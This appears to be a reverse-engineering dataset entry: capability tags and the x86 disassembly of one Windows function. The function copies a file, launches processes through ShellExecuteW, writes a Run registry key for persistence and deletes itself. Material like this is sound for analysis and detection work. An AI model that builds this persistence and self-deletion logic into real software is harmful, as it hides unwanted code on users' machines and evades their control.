Function at 0x41e82c
Capabilities:
Copy file
Create process on windows
Delete registry value
Persist via run registry key
Self delete
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xf
push 0
push 0
dec ecx
jne 0x41e834
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x41ec21
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.004029d0
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.00407e9c
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.00407774
mov eax, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
mov edx, dword [0x423950]
call fcn.004043b8
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00407774
mov edx, dword [ebp - 0x20]
pop eax
call fcn.00404518
je 0x41ea3a
lea edx, [ebp - 0x34]
xor eax, eax
call fcn.004029d0
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x30]
call fcn.00407ed0
mov edx, dword [ebp - 0x30]
lea eax, [ebp - 0x2c]
call fcn.004049d4
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x28]
mov edx, dword [0x423950]
call fcn.00404a60
mov eax, dword [ebp - 0x28]
call fcn.0041c790
test al, al
jne 0x41ea3a
lea eax, [ebp - 0xc]
call fcn.0041e6cc
push 0
lea eax, [ebp - 0x3c]
mov edx, dword [ebp - 0xc]
call fcn.004049d4
mov ecx, dword [ebp - 0x3c]
lea eax, [ebp - 0x38]
mov edx, dword [0x423950]
call fcn.00404a60
mov eax, dword [ebp - 0x38]
call fcn.004049e4
push eax
lea edx, [ebp - 0x44]
xor eax, eax
call fcn.004029d0
mov edx, dword [ebp - 0x44]
lea eax, [ebp - 0x40]
call fcn.004049d4
mov eax, dword [ebp - 0x40]
call fcn.004049e4
push eax
call sub.kernel32.dll_CopyFileW
lea eax, [ebp - 0x10]
call fcn.00404104
call fcn.00402970
test eax, eax
je 0x41e979
call fcn.00402970
mov edi, eax
test edi, edi
jle 0x41e979
mov esi, 1
push dword [ebp - 0x10]
push 0x41ec3c
lea edx, [ebp - 0x48]
mov eax, esi
call fcn.004029d0
push dword [ebp - 0x48]
push 0x41ec48
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.0040448c
inc esi
dec edi
jne 0x41e94e
mov eax, dword [0x42395c]
push eax
call sub.kernel32.dll_CloseHandle_1
push 0x7d0
call sub.kernel32.dll_Sleep
push 5
push 0
lea eax, [ebp - 0x4c]
mov edx, dword [ebp - 0x10]
call fcn.004049d4
mov eax, dword [ebp - 0x4c]
call fcn.004049e4
push eax
lea eax, [ebp - 0x54]
mov edx, dword [ebp - 0xc]
call fcn.004049d4
mov ecx, dword [ebp - 0x54]
lea eax, [ebp - 0x50]
mov edx, dword [0x423950]
call fcn.00404a60
mov eax, dword [ebp - 0x50]
call fcn.004049e4
push eax
push 0x41ec4c
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x41ec5c
lea edx, [ebp - 0x60]
xor eax, eax
call fcn.004029d0
mov edx, dword [ebp - 0x60]
lea eax, [ebp - 0x5c]
call fcn.004049d4
push dword [ebp - 0x5c]
push 0x41ec90
lea eax, [ebp - 0x58]
mov edx, 3
call fcn.00404ac4
mov eax, dword [ebp - 0x58]
call fcn.004049e4
push eax
push 0x41ec98
push 0x41ec4c
push 0
call sub.shell32.dll_ShellExecuteW
push 0x3e8
call sub.kernel32.dll_Sleep
call fcn.0041a424
mov bl, 1
jmp 0x41ebb8
lea eax, [ebp - 4]
push eax
push 0x41eca8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
lea edx, [ebp - 0x64]
xor eax, eax
call fcn.004029d0
mov eax, dword [ebp - 0x64]
call fcn.004043cc
test eax, eax
jns 0x41ea68
call fcn.0040353c
push eax
lea edx, [ebp - 0x68]
xor eax, eax
call fcn.004029d0
mov eax, dword [ebp - 0x68]
call fcn.004045cc
push eax
push 1
push 0
mov eax, dword [0x423958]
call fcn.004045cc
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
call fcn.0041e4dc
test al, al
je 0x41ebb8
mov byte [ebp - 5], 0
mov eax, 0x3d0900
call fcn.00402ee8
lea edx, [ebp - 0xc]
call fcn.00407900
lea eax, [ebp - 4]
push eax
push 0x41eca8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x41eb1d
mov eax, dword [ebp - 0xc]
call fcn.004043cc
test eax, eax
jns 0x41eae8
call fcn.0040353c
push eax
mov eax, dword [ebp - 0xc]
call fcn.004045cc
mov esi, eax
push esi
push 1
push 0
push esi
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jne 0x41eb14
push esi
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov byte [ebp - 5], 1
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
cmp byte [ebp - 5], 0
jne 0x41ebb8
mov bl, 1
lea eax, [ebp - 0x10]
call fcn.00404104
call fcn.00402970
test eax, eax
je 0x41eb75
call fcn.00402970
mov edi, eax
test edi, edi
jle 0x41eb75
mov esi, 1
push dword [ebp - 0x10]
push 0x41ece0
lea edx, [ebp - 0x6c]
mov eax, esi
call fcn.004029d0
push dword [ebp - 0x6c]
push 0x41ec3c
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.0040448c
inc esi
dec edi
jne 0x41eb4a
push 0x41ec3c
lea edx, [ebp - 0x74]
xor eax, eax
call fcn.004029d0
push dword [ebp - 0x74]
push 0x41ec3c
lea eax, [ebp - 0x70]
mov edx, 3
call fcn.0040448c
mov eax, dword [ebp - 0x70]
push eax
lea eax, [ebp - 0x78]
mov ecx, dword [ebp - 0x10]
mov edx, 0x41ecec
call fcn.00404418
mov ecx, dword [ebp - 0x78]
xor eax, eax
pop edx
call fcn.0041e5c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41ec28
lea eax, [ebp - 0x78]
mov edx, 7
call fcn.00404128
lea eax, [ebp - 0x5c]
mov edx, 5
call fcn.00404844
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00404128
lea eax, [ebp - 0x40]
mov edx, 3
call fcn.00404844
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.00404128
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.00404844
lea eax, [ebp - 0x24]
mov edx, 7
call fcn.00404128
ret